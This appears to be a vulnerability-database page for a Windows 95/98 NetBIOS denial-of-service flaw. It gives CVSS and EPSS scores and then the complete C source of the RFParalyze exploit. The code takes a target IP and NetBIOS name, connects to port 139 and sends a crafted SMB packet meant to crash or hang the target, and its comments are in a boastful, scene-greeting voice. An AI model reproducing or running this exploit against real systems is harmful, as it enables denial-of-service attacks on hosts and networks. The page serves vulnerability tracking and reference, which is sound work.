CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Windows 95 and Windows 98 allow a remote attacker to cause a denial of service via a NetBIOS session request packet with a NULL source name.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
21%
–
–
2022-04-03
–
–
21%
–
–
2023-02-26
–
–
21%
–
–
2023-03-12
–
–
–
82.48%
–
2023-03-26
–
–
–
24.1%
–
2024-02-11
–
–
–
8.35%
–
2024-06-02
–
–
–
8.35%
–
2024-08-25
–
–
–
8.35%
–
2024-12-22
–
–
–
8.35%
–
2025-02-23
–
–
–
8.35%
–
2025-01-19
–
–
–
8.35%
–
2025-02-23
–
–
–
8.35%
–
2025-03-18
–
–
–
–
40.49%
2025-03-30
–
–
–
–
39.16%
2025-03-30
–
–
–
–
39.16,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/1163/info
Unpredictable results, including system crashes, lock-ups, reboots, and loss of network connectivity, can occur in Windows 95/98 if a NetBIOS session packet is received with the source host name set to NULL.
/*********************************** www.el8.org **** www.wiretrip.net **/
/* - el8.org advisory: RFParalyze.c
code by rain forest puppy <rfp@wiretrip.net> -
coolness exhibited by Evan Brewer <dm@el8.org> -
- Usage: RFParalyze <IP address> <NetBIOS name>
where <IP address> is the IP address (duh) of the target (note:
not DNS name). <NetBIOS name> is the NetBIOS name (again, duh) of
the server at the IP address given. A kiddie worth his scripts
should be able to figure out how to lookup the NetBIOS name.
Note: NetBIOS name must be in upper case.
This code was made from a reverse-engineer of 'whisper', a
binary-only exploit found in the wild.
I have only tested this code on Linux. Hey, at least it's
not in perl... ;) -rfp
*/
#include <stdio.h> /* It's such a shame to waste */
#include <stdlib.h> /* this usable space. Instead, */
#include <string.h> /* we'll just make it more */
#include <netdb.h> /* props to the men and women */
#include <sys/socket.h> /* (hi Tabi!) of #!adm and */
#include <sys/types.h> /* #!w00w00, because they rock */
#include <netinet/in.h> /* so much. And we can't forget*/
#include <unistd.h> /* our friends at eEye or */
#include <string.h> /* Attrition. Oh, +hi Sioda. :) */
/* Magic winpopup message
This is from \\Beav\beavis and says "yeh yeh"
Ron and Marty should like the hardcoded values this has ;)
*/
char blowup[]= "\x00\x00\x00\x41\xff\x53\x4d\x42\xd0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x19\x00\x04\x42\x45\x41\x56\x00\x04\x42\x45\x41\x56\x49"
"\x53\x00\x01\x08\x00\x79\x65\x70\x20\x79\x65\x70\x00\x00";
struct sreq /* little structure of netbios session request */
{
char first[5];
char yoname[32];
char sep[2];
char myname[32];
char end[1];
};
void Pad_Name(char *name1, char *name2); /* Thanks Antilove/ADM 4 codez!*/
int main(int argc, char *argv[]){
char buf[4000], myname[33], yoname[33];
struct sockaddr_in sin;
int sox, connex, x;
struct sreq smbreq;
printf("RFParalyze -- this code by rfp/ADM/Wiretrip/ and dm/el8/\n");
if (argc < 3) {
printf("Usage: RFParalyze <IP of target> <NetBIOS name>\n");
printf(" --IP must be ip address, not dns\n");
printf(" --NetBIOS name must be in UPPER CASE\n\n");
exit(1);}
printf("Greetz to el8.org, Technotronic, w00w00, USSR, and ADM!\n");
Pad_Name("WICCA",myname); /* greetz to Simple Nomad/NMRC */
myname[30]='A'; /* how was Beltaine? :) */
myname[31]='D';
Pad_Name(argv[2],yoname);
yoname[30]='A';
yoname[31]='D';
printf("Trying %s as NetBIOS name %s \n",argv[1],argv[2]);
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_family = AF_INET;
sin.sin_port = htons(139);
sox = socket(AF_INET,SOCK_STREAM,0);
if((connex = connect(sox,(struct sockaddr_in *)&sin,sizeof(sin))) < 0){
perror("Problems connecting: ");
exit(1);}
memset(buf,0,4000);
memcpy(smbreq.first,"\x81\x00\x00\x44\x20",5); /*various netbios stuffz*/
memcpy(smbreq.sep,"\x00\x20",2); /*no need to worry about*/
memcpy(smbreq.end,"\x00",1); /*what it does :) */
strncpy(smbreq.myname,myname,32);
strncpy(smbreq.yoname,yoname,32);
write(sox,&smbreq,72); /* send initial request */
x=read(sox,buf,4000); /* get their response */
if(x<1){ printf("Problem, didn't get response\n");
exit(1);}
if(buf[0]=='\x82') printf("Enemy engaged, going in for the kill...");
else {printf("We didn't get back the A-OK, bailing.\n");
exit(1);}
write(sox,&blowup,72); /* send the magic message >:) */
x=read(sox,buf,4000); /* we really don't care, but sure */
close(sox);
printf("done\n");
}
void Pad_Name(char *name1, char *name2)
{ char c, c1, c2;
int i, len;
len = strlen(name1);
for (i = 0; i < 16; i++) {
if (i >= len) {
c1 = 'C'; c2 = 'A'; /* CA is a space */
} else {
c = name1[i];
c1 = (char)((int)c/16 + (int)'A');
c2 = (char)((int)c%16 + (int)'A');
}
name2[i*2] = c1;
name2[i*2+1] = c2;
}
name2[32] = 0; /* Put in the null ...*/
}
/*********************************** www.el8.org **** www.wiretrip.net **/